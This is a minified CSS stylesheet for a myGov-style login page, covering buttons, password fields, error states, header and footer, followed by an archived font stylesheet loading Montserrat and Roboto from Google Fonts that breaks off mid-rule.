.create-account-text:before{width:16px;width:1rem;min-width:16px;min-width:1rem;height:16px;height:1rem;top:4px;top:.25rem;content:"";display:block;background:no-repeat center;background-image:url(../icons/icon-blugov-info.svg);background-size:contain;position:absolute;left:0}.wrapper-mapwap .button-container,#inner-content .button-container,.unauth .button-container{margin-top:30px;margin-top:1.875rem}.wrapper-mapwap .button-container a.button-minor.button,.wrapper-mapwap .button-container .button-minor,#inner-content .button-container a.button-minor.button,#inner-content .button-container .button-minor,.unauth .button-container a.button-minor.button,.unauth .button-container .button-minor{color:#183052;border-color:#183052}.wrapper-mapwap .button-container a.button-minor.button:hover,.wrapper-mapwap .button-container .button-minor:hover,#inner-content .button-container a.button-minor.button:hover,#inner-content .button-container .button-minor:hover,.unauth .button-container a.button-minor.button:hover,.unauth .button-container .button-minor:hover{color:#fff;background-color:#254a7e;border-color:transparent}.wrapper-mapwap .button-container a.button-minor.button:focus,.wrapper-mapwap .button-container .button-minor:focus,#inner-content .button-container a.button-minor.button:focus,#inner-content .button-container .button-minor:focus,.unauth .button-container a.button-minor.button:focus,.unauth .button-container .button-minor:focus{color:#183052;background-color:#fff;border-color:#183052}@media screen and (max-width:640px){.wrapper-mapwap .button-container,#inner-content .button-container,.unauth .button-container{-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column}.wrapper-mapwap .button-container .button,#inner-content .button-container .button,.unauth .button-container .button{margin:auto auto 10px;margin:auto auto .625rem;width:100%}}.wrapper-mapwap .recovery,#inner-content .recovery,.unauth .recovery{margin-bottom:30px;margin-bottom:1.875rem}.wrapper-mapwap .recovery a,.wrapper-mapwap .recovery a.anchor,#inner-content .recovery a,#inner-content .recovery a.anchor,.unauth .recovery a,.unauth .recovery a.anchor{font-size:16px;font-size:1rem}.wrapper-mapwap form span[role="alert"],.wrapper-mapwap form p[role="alert"],#inner-content form span[role="alert"],#inner-content form p[role="alert"],.unauth form span[role="alert"],.unauth form p[role="alert"]{margin-top:8px;margin-top:.5rem}.wrapper-mapwap form label,#inner-content form label,.unauth form label{font-size:16px;font-size:1rem;font-weight:600;color:#000}.wrapper-mapwap form a[aria-expanded],#inner-content form a[aria-expanded],.unauth form a[aria-expanded]{font-size:16px;font-size:1rem}.wrapper-mapwap .digital-id-login-card,#inner-content .digital-id-login-card,.unauth .digital-id-login-card{margin-bottom:30px;margin-bottom:1.875rem}.wrapper-mapwap .hr-word,#inner-content .hr-word,.unauth .hr-word{height:auto;border-bottom:0 none;position:relative}.wrapper-mapwap .hr-word .draw-circle,#inner-content .hr-word .draw-circle,.unauth .hr-word .draw-circle{padding-top:0;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;background-color:#fff;position:relative}.wrapper-mapwap .hr-word:before,#inner-content .hr-word:before,.unauth .hr-word:before{height:1px;height:.0625rem;content:"";background-color:#c5c5c5;width:100%;top:-webkit-calc(50% - .5px);top:calc(50% - .5px);left:0;position:absolute}.wrapper-mapwap .digital-id-login-card-wrapper .hr-word,#inner-content .digital-id-login-card-wrapper .hr-word,.unauth .digital-id-login-card-wrapper .hr-word{margin-top:0;margin-bottom:0}.wrapper-mapwap .terms-service-text,#inner-content .terms-service-text,.unauth .terms-service-text{font-size:16px;font-size:1rem;margin-top:12px;margin-top:.75rem;margin-bottom:24px;margin-bottom:1.5rem}.wrapper-mapwap .password-group:focus-within button.showPassword,#inner-content .password-group:focus-within button.showPassword,.unauth .password-group:focus-within button.showPassword{border-width:2px;border-width:.125rem;border-left-width:0}.wrapper-mapwap button.showPassword,.wrapper-mapwap .input-group button.showPassword,.wrapper-mapwap label button.showPassword,#inner-content button.showPassword,#inner-content .input-group button.showPassword,#inner-content label button.showPassword,.unauth button.showPassword,.unauth .input-group button.showPassword,.unauth label button.showPassword{padding:11px 17px 12px 20px;padding:.6875rem 1.0625rem .75rem 1.25rem;height:48px;height:3rem;top:auto;bottom:0}.wrapper-mapwap button.showPassword,.wrapper-mapwap button.showPassword:hover,.wrapper-mapwap .input-group button.showPassword,.wrapper-mapwap .input-group button.showPassword:hover,.wrapper-mapwap label button.showPassword,.wrapper-mapwap label button.showPassword:hover,#inner-content button.showPassword,#inner-content button.showPassword:hover,#inner-content .input-group button.showPassword,#inner-content .input-group button.showPassword:hover,#inner-content label button.showPassword,#inner-content label button.showPassword:hover,.unauth button.showPassword,.unauth button.showPassword:hover,.unauth .input-group button.showPassword,.unauth .input-group button.showPassword:hover,.unauth label button.showPassword,.unauth label button.showPassword:hover{border-top-right-radius:2px;border-top-right-radius:.125rem;border-bottom-right-radius:2px;border-bottom-right-radius:.125rem;border-top-left-radius:0;border-bottom-right-radius:0}.wrapper-mapwap button.showPassword:hover,.wrapper-mapwap button.showPassword:focus,.wrapper-mapwap button.showPassword,.wrapper-mapwap .input-group button.showPassword:hover,.wrapper-mapwap .input-group button.showPassword:focus,.wrapper-mapwap .input-group button.showPassword,.wrapper-mapwap label button.showPassword:hover,.wrapper-mapwap label button.showPassword:focus,.wrapper-mapwap label button.showPassword,#inner-content button.showPassword:hover,#inner-content button.showPassword:focus,#inner-content button.showPassword,#inner-content .input-group button.showPassword:hover,#inner-content .input-group button.showPassword:focus,#inner-content .input-group button.showPassword,#inner-content label button.showPassword:hover,#inner-content label button.showPassword:focus,#inner-content label button.showPassword,.unauth button.showPassword:hover,.unauth button.showPassword:focus,.unauth button.showPassword,.unauth .input-group button.showPassword:hover,.unauth .input-group button.showPassword:focus,.unauth .input-group button.showPassword,.unauth label button.showPassword:hover,.unauth label button.showPassword:focus,.unauth label button.showPassword{border-width:1px;border-width:.0625rem;border-color:#000;outline:0}.wrapper-mapwap:focus-within button.showPassword,.wrapper-mapwap .input-group:focus-within button.showPassword,.wrapper-mapwap label:focus-within button.showPassword,#inner-content:focus-within button.showPassword,#inner-content .input-group:focus-within button.showPassword,#inner-content label:focus-within button.showPassword,.unauth:focus-within button.showPassword,.unauth .input-group:focus-within button.showPassword,.unauth label:focus-within button.showPassword{padding-top:10px;padding-top:.625rem;padding-bottom:11px;padding-bottom:.6875rem;padding-right:16px;padding-right:1rem}.wrapper-mapwap .input-group.hasError input:focus,.wrapper-mapwap label.hasError input:focus,#inner-content .input-group.hasError input:focus,#inner-content label.hasError input:focus,.unauth .input-group.hasError input:focus,.unauth label.hasError input:focus{border-width:2px;border-width:.125rem;outline-color:#dc3548}.wrapper-mapwap .input-group+.input-group,#inner-content .input-group+.input-group,.unauth .input-group+.input-group{margin-top:24px;margin-top:1.5rem}.wrapper-mapwap .input-group.hasError input,.wrapper-mapwap label.hasError input,.wrapper-mapwap div.hasError input,.wrapper-mapwap .code-container.hasError input,#inner-content .input-group.hasError input,#inner-content label.hasError input,#inner-content div.hasError input,#inner-content .code-container.hasError input,.unauth .input-group.hasError input,.unauth label.hasError input,.unauth div.hasError input,.unauth .code-container.hasError input{border:2px solid #dc3548;border:.125rem solid #dc3548;outline-color:#dc3548}.wrapper-mapwap .input-group.hasError button.showPassword.anchor,.wrapper-mapwap label.hasError button.showPassword.anchor,.wrapper-mapwap div.hasError button.showPassword.anchor,.wrapper-mapwap .code-container.hasError button.showPassword.anchor,#inner-content .input-group.hasError button.showPassword.anchor,#inner-content label.hasError button.showPassword.anchor,#inner-content div.hasError button.showPassword.anchor,#inner-content .code-container.hasError button.showPassword.anchor,.unauth .input-group.hasError button.showPassword.anchor,.unauth label.hasError button.showPassword.anchor,.unauth div.hasError button.showPassword.anchor,.unauth .code-container.hasError button.showPassword.anchor{border-width:2px;border-width:.125rem;padding-top:10px;padding-top:.625rem;padding-bottom:11px;padding-bottom:.6875rem;padding-right:16px;padding-right:1rem;border-color:#dc3548}.wrapper-mapwap .input-group.hasError button.showPassword.anchor:hover,.wrapper-mapwap .input-group.hasError button.showPassword.anchor:focus,.wrapper-mapwap label.hasError button.showPassword.anchor:hover,.wrapper-mapwap label.hasError button.showPassword.anchor:focus,.wrapper-mapwap div.hasError button.showPassword.anchor:hover,.wrapper-mapwap div.hasError button.showPassword.anchor:focus,.wrapper-mapwap .code-container.hasError button.showPassword.anchor:hover,.wrapper-mapwap .code-container.hasError button.showPassword.anchor:focus,#inner-content .input-group.hasError button.showPassword.anchor:hover,#inner-content .input-group.hasError button.showPassword.anchor:focus,#inner-content label.hasError button.showPassword.anchor:hover,#inner-content label.hasError button.showPassword.anchor:focus,#inner-content div.hasError button.showPassword.anchor:hover,#inner-content div.hasError button.showPassword.anchor:focus,#inner-content .code-container.hasError button.showPassword.anchor:hover,#inner-content .code-container.hasError button.showPassword.anchor:focus,.unauth .input-group.hasError button.showPassword.anchor:hover,.unauth .input-group.hasError button.showPassword.anchor:focus,.unauth label.hasError button.showPassword.anchor:hover,.unauth label.hasError button.showPassword.anchor:focus,.unauth div.hasError button.showPassword.anchor:hover,.unauth div.hasError button.showPassword.anchor:focus,.unauth .code-container.hasError button.showPassword.anchor:hover,.unauth .code-container.hasError button.showPassword.anchor:focus{background-color:#dc3548;border-color:#dc3548;color:#fff;outline:0}.wrapper-mapwap .main-block{margin-top:65px;margin-top:4.0625rem}@media screen and (min-width:640px){.wrapper-mapwap .main-block{padding:0 70px;padding:0 4.375rem}.wrapper-mapwap .main-block .unauth{padding:0}}html{font-size:100%}html body{font-size:18px;font-size:1.125rem}html .unauth .button-digital-identity,html .unauth .button-main,html #inner-content .button-main,html #modal-btn,html .button-container .button-main{border-radius:5px;border-radius:.3125rem;height:48px;height:3rem;color:#172f50;background-color:#99e1f3;border:0}html .unauth .button-digital-identity:hover,html .unauth .button-main:hover,html #inner-content .button-main:hover,html #modal-btn:hover,html .button-container .button-main:hover{color:#fff;background-color:#254a7e}html .unauth .button-digital-identity:focus,html .unauth .button-main:focus,html #inner-content .button-main:focus,html #modal-btn:focus,html .button-container .button-main:focus{outline-width:2px;outline-width:.125rem;color:#172f50;background-color:#99e1f3}html .unauth a.anchor,html .unauth button.anchor,html .external-links-zone a,html .form-terms-link,html a.button-back,html .create-account-link,html .help-info,html .help-info-button,html .wrapper-mapwap .help-info,.wrapper-mapwap html .help-info,html #inner-content .help-info,#inner-content html .help-info,html .unauth .help-info,.unauth html .help-info,html .error-msg-text a,html .accordion-link{color:#254a7e}html .unauth a.anchor:hover,html .unauth button.anchor:hover,html .external-links-zone a:hover,html .form-terms-link:hover,html a.button-back:hover,html .create-account-link:hover,html .help-info:hover,html .help-info-button:hover,html .wrapper-mapwap .help-info:hover,.wrapper-mapwap html .help-info:hover,html #inner-content .help-info:hover,#inner-content html .help-info:hover,html .unauth .help-info:hover,.unauth html .help-info:hover,html .error-msg-text a:hover,html .accordion-link:hover{background-color:#254a7e;color:#fff}html .unauth a.anchor:focus,html .unauth button.anchor:focus,html .external-links-zone a:focus,html .form-terms-link:focus,html a.button-back:focus,html .create-account-link:focus,html .help-info:focus,html .help-info-button:focus,html .wrapper-mapwap .help-info:focus,.wrapper-mapwap html .help-info:focus,html #inner-content .help-info:focus,#inner-content html .help-info:focus,html .unauth .help-info:focus,.unauth html .help-info:focus,html .error-msg-text a:focus,html .accordion-link:focus{outline:2px solid #183052;outline:.125rem solid #183052;color:#254a7e;background-color:unset}ul.account-options{margin:23.5px -12.5px 22.5px;margin:1.46875rem -0.78125rem 1.40625rem;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-flow:column wrap;-ms-flex-flow:column wrap;flex-flow:column wrap;list-style:none;padding:0}ul.account-options>li{-webkit-box-flex:1;-webkit-flex:1;-ms-flex:1;flex:1;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-flow:column wrap;-ms-flex-flow:column wrap;flex-flow:column wrap}ul.account-options>li .item{border:1px solid #d9d9d6;border:.0625rem solid #d9d9d6;border-radius:5px;border-radius:.3125rem;padding:25px 28px 50px;padding:1.5625rem 1.75rem 3.125rem;margin:12.5px;margin:.78125rem;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-flow:column wrap;-ms-flex-flow:column wrap;flex-flow:column wrap;-webkit-box-flex:1;-webkit-flex:1 1 auto;-ms-flex:1 1 auto;flex:1 1 auto}ul.account-options>li .item h2{font-size:24px;font-size:1.5rem;margin-bottom:16px;margin-bottom:1rem;margin-top:0;line-height:1.33333;font-weight:500}ul.account-options>li .item .button-container{margin-top:auto;margin-bottom:0;text-align:left}ul.account-options>li .item .button-container>*{padding:7px 32px;padding:.4375rem 2rem;min-height:48px;min-height:3rem;display:-webkit-inline-box;display:-webkit-inline-flex;display:-ms-inline-flexbox;display:inline-flex;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-webkit-flex-flow:row wrap;-ms-flex-flow:row wrap;flex-flow:row wrap;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;width:auto;height:auto;line-height:1}ul.account-options>li:not(:last-child) .item{-webkit-box-flex:1;-webkit-flex:1;-ms-flex:1;flex:1}ul.account-options>li:not(:last-child):after{margin:12.5px;margin:.78125rem;font-size:22px;font-size:1.375rem;padding:13px 12px;padding:.8125rem .75rem;min-width:53px;min-width:3.3125rem;content:"OR";border-radius:50%;-webkit-align-self:center;-ms-flex-item-align:center;-ms-grid-row-align:center;align-self:center;line-height:1.31818;font-weight:500;background-color:#f1f1f1}@media screen and (min-width:768px){ul.account-options>li:last-child{-webkit-box-flex:0;-webkit-flex:0 1 auto;-ms-flex:0 1 auto;flex:0 1 auto;width:-webkit-calc(50% - 39px);width:calc(50% - 39px);width:-webkit-calc(50% - 2.4375rem);width:calc(50% - 2.4375rem)}}@media screen and (min-width:768px){ul.account-options>li{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-webkit-flex-flow:row wrap;-ms-flex-flow:row wrap;flex-flow:row wrap}}@media screen and (min-width:768px){ul.account-options{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-webkit-flex-flow:row wrap;-ms-flex-flow:row wrap;flex-flow:row wrap}}.di-link h1{font-size:40px;font-size:2.5rem;margin-bottom:19px;margin-bottom:1.1875rem;line-height:1.325;margin-top:0}.di-link p{line-height:1.55556;margin-top:0}.di-connected-success button{width:50%}form>*:first-child{margin-top:17px;margin-top:1.0625rem}form legend.non-heading{font-size:16px;font-size:1rem;padding-bottom:12px;padding-bottom:.75rem;margin-bottom:-9px;margin-bottom:-0.5625rem}form .new-password-group .input-group{margin-bottom:24px;margin-bottom:1.5rem}form input[type="radio"]+label{padding-left:44px;padding-left:2.75rem;margin-left:-14px;margin-left:-0.875rem;margin-bottom:0;font-weight:400;width:-webkit-calc(100%+14px);width:calc(100%+14px)}.wrapper-mapwap .button-container,.unauth .button-container{margin-top:24px;margin-top:1.5rem}.wrapper-mapwap .button-container .button,.unauth .button-container .button{height:48px;height:3rem;margin-right:12px;margin-right:.75rem;line-height:1}.wrapper-mapwap .button-container .button:hover,.unauth .button-container .button:hover{text-decoration:none}.wrapper-mapwap .button-container .button:focus,.unauth .button-container .button:focus{outline-width:2px;outline-width:.125rem}.wrapper-mapwap .button-container .button:last-child,.unauth .button-container .button:last-child{margin-right:0}.wrapper-mapwap .hasInfo,.unauth .hasInfo{border-left-color:#254a7e}.wrapper-mapwap .hasInfo a,.unauth .hasInfo a{color:#254a7e}.wrapper-mapwap #resetPasswordPair .hasError span.hasError p,.unauth #resetPasswordPair .hasError span.hasError p{margin-top:0}.wrapper-mapwap #resetPasswordPair p:last-of-type,.unauth #resetPasswordPair p:last-of-type{margin-bottom:0}.wrapper-mapwap #resetPasswordPair ul,.unauth #resetPasswordPair ul{margin-top:8px;margin-top:.5rem;margin-bottom:13px;margin-bottom:.8125rem}.wrapper-mapwap #resetPasswordPair ul li,.unauth #resetPasswordPair ul li{margin-bottom:0}.wrapper-mapwap #resetPasswordPair ul,.wrapper-mapwap #resetPasswordPair ul li,.unauth #resetPasswordPair ul,.unauth #resetPasswordPair ul li{line-height:1.55556}.wrapper-mapwap #resetPasswordPair .help-info-group+#security-codes-info+*,.unauth #resetPasswordPair .help-info-group+#security-codes-info+*{margin-top:24px;margin-top:1.5rem}.wrapper-mapwap #resetPasswordPair #security-codes-info,.unauth #resetPasswordPair #security-codes-info{font-size:inherit}.wrapper-mapwap #resetPasswordPair #security-codes-info p:first-of-type,.unauth #resetPasswordPair #security-codes-info p:first-of-type{margin-top:9px;margin-top:.5625rem}.wrapper-mapwap form input[type="radio"]:checked+label{font-weight:400}.wrapper-mapwap form input[type="radio"]:checked+label:after{box-shadow:0 0 0 2px #254a7e;box-shadow:0 0 0 .125rem #254a7e;background-color:#254a7e}.wrapper-mapwap form input[type="radio"]:checked+label:before{display:none}.wrapper-mapwap form input[type="radio"]+label{font-size:16px;font-size:1rem}.wrapper-mapwap form input[type="radio"]+label:before{display:none}.wrapper-mapwap form input[type="radio"]+label:after{width:10px;width:.625rem;height:10px;height:.625rem;left:19px;left:1.1875rem;box-shadow:0 0 0 2px #000;box-shadow:0 0 0 .125rem #000;border:3px solid #fff;border:.1875rem solid #fff;background-color:transparent;top:0;bottom:0;margin:auto;position:absolute;display:block;border-radius:50%;box-sizing:content-box;content:""}.wrapper-mapwap form input[type="radio"]:focus+label{outline:2px solid #254a7e;outline:.125rem solid #254a7e}.unauth-grid{width:100%}.unauth-grid .unauth-grid-row{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between}.unauth-grid .unauth-grid-row .header-links{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center}.unauth-grid .unauth-grid-row .header-links a{font-size:16px;font-size:1rem;color:#000}.unauth-grid .unauth-grid-row .header-links a:hover{color:#fff;background-color:#254a7e}img#unauth-govt-crest{width:100%;height:auto}.unauth-govt-crest__link{width:174px;width:10.875rem}@media screen and (min-width:640px){.unauth-govt-crest__link{width:236px;width:14.75rem}}@media screen and (min-width:1024px){.unauth-govt-crest__link{width:328px;width:20.5rem;height:auto}}.brand-rainbow{display:none}header.mgvEnhanceHeader{background-color:#66d3ee;height:auto;min-height:0;border:0 none;color:#000}header.mgvEnhanceHeader[role="banner"]>.wrapper{min-height:0;padding:0}header.mgvEnhanceHeader[role="banner"]>.wrapper>.inner{padding-right:20px;padding-right:1.25rem;padding-right:20px;padding-right:1.25rem;padding-left:20px;padding-left:1.25rem;width:100%;margin-right:auto;margin-left:auto;padding:16px 20px;padding:1rem 1.25rem;min-height:69.77px;min-height:4.36063rem;height:auto}@media screen and (min-width:1024px){header.mgvEnhanceHeader[role="banner"]>.wrapper>.inner{padding-right:40px;padding-right:2.5rem;padding-left:40px;padding-left:2.5rem}}@media screen and (min-width:1024px){header.mgvEnhanceHeader[role="banner"]>.wrapper>.inner{width:1024px;width:64rem}}@media screen and (min-width:1244px){header.mgvEnhanceHeader[role="banner"]>.wrapper>.inner{width:1244px;width:77.75rem}}@media screen and (min-width:1360px){header.mgvEnhanceHeader[role="banner"]>.wrapper>.inner{width:1360px;width:85rem}}@media screen and (min-width:640px){header.mgvEnhanceHeader[role="banner"]>.wrapper>.inner{min-height:83.24px;min-height:5.2025rem}}@media screen and (min-width:1024px){header.mgvEnhanceHeader[role="banner"]>.wrapper>.inner{padding:50px 40px;padding:3.125rem 2.5rem;min-height:192.4px;min-height:12.025rem}}@media screen and (min-width:992px){html footer[role="contentinfo"] .footer-lower,.unauth footer[role="contentinfo"] .footer-lower{-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-webkit-flex-direction:row;-ms-flex-direction:row;flex-direction:row}}html footer[role="contentinfo"]>.wrapper,.unauth footer[role="contentinfo"]>.wrapper{padding-right:0;padding-left:0}html footer[role="contentinfo"]>.wrapper>.inner,.unauth footer[role="contentinfo"]>.wrapper>.inner{padding-right:20px;padding-right:1.25rem;padding-right:20px;padding-right:1.25rem;padding-left:20px;padding-left:1.25rem;width:100%;margin-right:auto;margin-left:auto;padding-bottom:40px;padding-bottom:2.5rem}@media screen and (min-width:1024px){html footer[role="contentinfo"]>.wrapper>.inner,.unauth footer[role="contentinfo"]>.wrapper>.inner{padding-right:40px;padding-right:2.5rem;padding-left:40px;padding-left:2.5rem}}@media screen and (min-width:1024px){html footer[role="contentinfo"]>.wrapper>.inner,.unauth footer[role="contentinfo"]>.wrapper>.inner{width:1024px;width:64rem}}@media screen and (min-width:1244px){html footer[role="contentinfo"]>.wrapper>.inner,.unauth footer[role="contentinfo"]>.wrapper>.inner{width:1244px;width:77.75rem}}@media screen and (min-width:1360px){html footer[role="contentinfo"]>.wrapper>.inner,.unauth footer[role="contentinfo"]>.wrapper>.inner{width:1360px;width:85rem}}html footer[role="contentinfo"] .footer-lower-logo,.unauth footer[role="contentinfo"] .footer-lower-logo{height:56px;height:3.5rem;max-width:322px;max-width:20.125rem;margin-bottom:46px;margin-bottom:2.875rem}html footer[role="contentinfo"] .footer-lower-logo img,.unauth footer[role="contentinfo"] .footer-lower-logo img{height:100%}html footer[role="contentinfo"] .footer-lower-logo>a,.unauth footer[role="contentinfo"] .footer-lower-logo>a{display:inline}@media screen and (min-width:576px){html footer[role="contentinfo"] .footer-lower-logo,.unauth footer[role="contentinfo"] .footer-lower-logo{height:68px;height:4.25rem;max-width:390px;max-width:24.375rem}}@media screen and (min-width:992px){html footer[role="contentinfo"] .footer-lower-logo,.unauth footer[role="contentinfo"] .footer-lower-logo{height:54px;height:3.375rem;max-width:308px;max-width:19.25rem;margin-right:32px;margin-right:2rem;margin-bottom:0}}@media screen and (min-width:1200px){html footer[role="contentinfo"] .footer-lower-logo,.unauth footer[role="contentinfo"] .footer-lower-logo{height:68px;height:4.25rem;max-width:390px;max-width:24.375rem}}mygov/app/login_files/css000064400000037222151676702570011520 0ustar00/* cyrillic-ext */
@font-face {
  font-family: 'Montserrat';
  font-style: normal;
  font-weight: 200;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459WRhyzbi.woff2) format('woff2');
  unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;
}
/* cyrillic */
@font-face {
  font-family: 'Montserrat';
  font-style: normal;
  font-weight: 200;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459W1hyzbi.woff2) format('woff2');
  unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;
}
/* vietnamese */
@font-face {
  font-family: 'Montserrat';
  font-style: normal;
  font-weight: 200;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459WZhyzbi.woff2) format('woff2');
  unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+1EA0-1EF9, U+20AB;
}
/* latin-ext */
@font-face {
  font-family: 'Montserrat';
  font-style: normal;
  font-weight: 200;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459Wdhyzbi.woff2) format('woff2');
  unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF;
}
/* latin */
@font-face {
  font-family: 'Montserrat';
  font-style: normal;
  font-weight: 200;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459Wlhyw.woff2) format('woff2');
  unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD;
}
/* cyrillic-ext */
@font-face {
  font-family: 'Montserrat';
  font-style: normal;
  font-weight: 400;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459WRhyzbi.woff2) format('woff2');
  unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;
}
/* cyrillic */
@font-face {
  font-family: 'Montserrat';
  font-style: normal;
  font-weight: 400;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459W1hyzbi.woff2) format('woff2');
  unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;
}
/* vietnamese */
@font-face {
  font-family: 'Montserrat';
  font-style: normal;
  font-weight: 400;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459WZhyzbi.woff2) format('woff2');
  unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+1EA0-1EF9, U+20AB;
}
/* latin-ext */
@font-face {
  font-family: 'Montserrat';
  font-style: normal;
  font-weight: 400;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459Wdhyzbi.woff2) format('woff2');
  unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF;
}
/* latin */
@font-face {
  font-family: 'Montserrat';
  font-style: normal;
  font-weight: 400;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459Wlhyw.woff2) format('woff2');
  unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD;
}
/* cyrillic-ext */
@font-face {
  font-family: 'Montserrat';
  font-style: normal;
  font-weight: 700;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459WRhyzbi.woff2) format('woff2');
  unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;
}
/* cyrillic */
@font-face {
  font-family: 'Montserrat';
  font-style: normal;
  font-weight: 700;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459W1hyzbi.woff2) format('woff2');
  unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;
}
/* vietnamese */
@font-face {
  font-family: 'Montserrat';
  font-style: normal;
  font-weight: 700;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459WZhyzbi.woff2) format('woff2');
  unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+1EA0-1EF9, U+20AB;
}
/* latin-ext */
@font-face {
  font-family: 'Montserrat';
  font-style: normal;
  font-weight: 700;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459Wdhyzbi.woff2) format('woff2');
  unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF;
}
/* latin */
@font-face {
  font-family: 'Montserrat';
  font-style: normal;
  font-weight: 700;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459Wlhyw.woff2) format('woff2');
  unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD;
}
/* cyrillic-ext */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 300;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmSU5fCRc4EsA.woff2) format('woff2');
  unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;
}
/* cyrillic */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 300;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmSU5fABc4EsA.woff2) format('woff2');
  unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;
}
/* greek-ext */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 300;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmSU5fCBc4EsA.woff2) format('woff2');
  unicode-range: U+1F00-1FFF;
}
/* greek */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 300;
  font-display: swap;
  src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmSU5fBxc4EsA.woff2) format('woff2');
  unicode-range: U+0370-03FF;
}
/* vietnamese */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 300;
  font-display: swap;
